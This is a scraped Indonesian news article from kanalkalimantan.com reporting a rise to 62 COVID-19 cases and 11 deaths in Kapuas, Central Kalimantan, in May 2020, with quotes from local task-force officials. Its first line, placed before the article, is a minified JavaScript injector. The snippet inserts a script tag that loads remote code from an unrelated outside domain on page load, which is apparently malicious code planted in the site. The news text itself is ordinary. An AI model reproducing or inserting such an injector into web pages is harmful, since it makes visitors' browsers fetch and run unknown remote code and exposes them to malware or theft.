(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Naik Menjadi 62 Kasus Positif Covid-19, Kapuas Terbanyak Kedua di Kalteng


KANALKALIMANTAN. COM, KUALA KAPUAS – Angka penambahan jumlah terkonfirmasi positif Covid-19 di Kabupaten Kapuas, Kalimantan Tengah, dalam beberapa hari rentang waktu 21 hingga 24 Mei 2020 terjadi lonjakan hingga 40 orang yang dinyatakan positif Covid-19.

Pada 21 Mei 2020 terjadi penambahan 9 kasus positif Covid-19, tanggal 22 Mei melonjak drastis sebanyak 25 penambahan, 23 Mei bertambah 2 kasus.

Juru Bicara Gugus Tugas Percepatan Penanganan Covid-19 Kapuas, H Junaidi, Minggu (25/5/2020) sore mengumumkan, kembali ada penambahan 4 orang positif Covid-19 di wilayah Kapuas, sehingga total 62 sudah yang terpapar Covid-19.

“Hari ini ada penambahan 4 kasus terkonfirmasi positif Covid-19, total sampai saat ini 62 orang positif Covid-19,” kata H Junaidi.

Total 62 kasus positif,  menempatkan Kabupaten Kapuas sebagai daerah terbesar kedua jumlah kasus positif dari 14 kabupaten/kota se Kalimantan Tengah.

Kasus positif Covid-19 di Kapuas masih berpotensi mengalami penambahan, mengingat masih banyak antrean hasil pemeriksaan swab yang belum keluar. Selain itu, melihat kondisi masyarakat yang masih banyak abai akan imbauan pemerintah.

Sangat memprihatinkan, Kapuas peringkat pertama terbanyak jumlah kematian positif Covid-19  di Kalimantan Tengah, dari 62 kasus positif dengan 11 jumlah meninggal dunia.

Ketua Harian Gugus Tugas Percepatan Penanganan Covid-19 Kapuas Panahatan Sinaga menyebut, terjadi lonjakan kasus yang tinggi, tingkat kematian yang cukup tinggi, sementara tingkat sembuh sangat rendah dimungkinkan karena beberapa faktor.

“Hal ini menandakan beberapa kemungkinan, antaranya masyarakat tidak mematuhi anjuran pemerintah, masyarakat yang datang ke rumah sakit atau Puskesmas sudah dalam keadaan parah,” ungkapnya.

Faktor lain kata dia bisa juga dikarenakan kemungkinan fasilitas kesehatan dan tenaga kesehatan yang tidak siap, kemungkinan lain bahwa lonjakan kasus terjadi karena pemeriksaan swab yang lambat.

“Distribusi kasus terkonfirmasi positif yang tinggi terjadi dua kali lonjakan yang cukup tajam pada dua periode, hal ini menandakan adanya transmisi yang cepat dan luas,” katanya.

Menurut Kepala Pelaksana BPBD Kapuas ini hal ini penting diketahui masyarakat. Untuk itu perlu adanya tindakan dari pemerintah yang terus menerus untuk menurunkan angka kematian dan meningkatkan angka kesembuhan.

Dalam kondisi tersebut penerapan physical distancing menjadi hal yang sangat penting, menjaga jarak aman dan menghindari kerumunan hingga kontak fisik. (kanalkalimantan.com/ags)

Reporter : ags
Editor : bie

 


Al Ghifari

Recent Posts

KPU Banjarbaru Terima 96 Pendaftar Calon PPK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima 96 pendaftar calon anggota Panitia… Read More

18 menit ago

Sejarah 1 Mei 1952 : Dari Afdeeling Amoentai Menjadi Kabupaten Hulu Sungai Utara

KANALKALIMANTAN.COM, AMUNTAI - Tepat hari ini Rabu 1 Mei 2024, 72 tahun silam atau tepatnya… Read More

33 menit ago

PLN Gelar Halalbihalal Bersama Anak-anak Panti Asuhan

KANALKALIMANTAN.COM, PONTIANAK - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

2 jam ago

KPU Banjarbaru Mulai Siapkan Pembentukan Badan Ad-hoc Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More

14 jam ago

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

15 jam ago

Upaya Meningkatkan Akreditasi Perpustakaan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More

15 jam ago

This website uses cookies.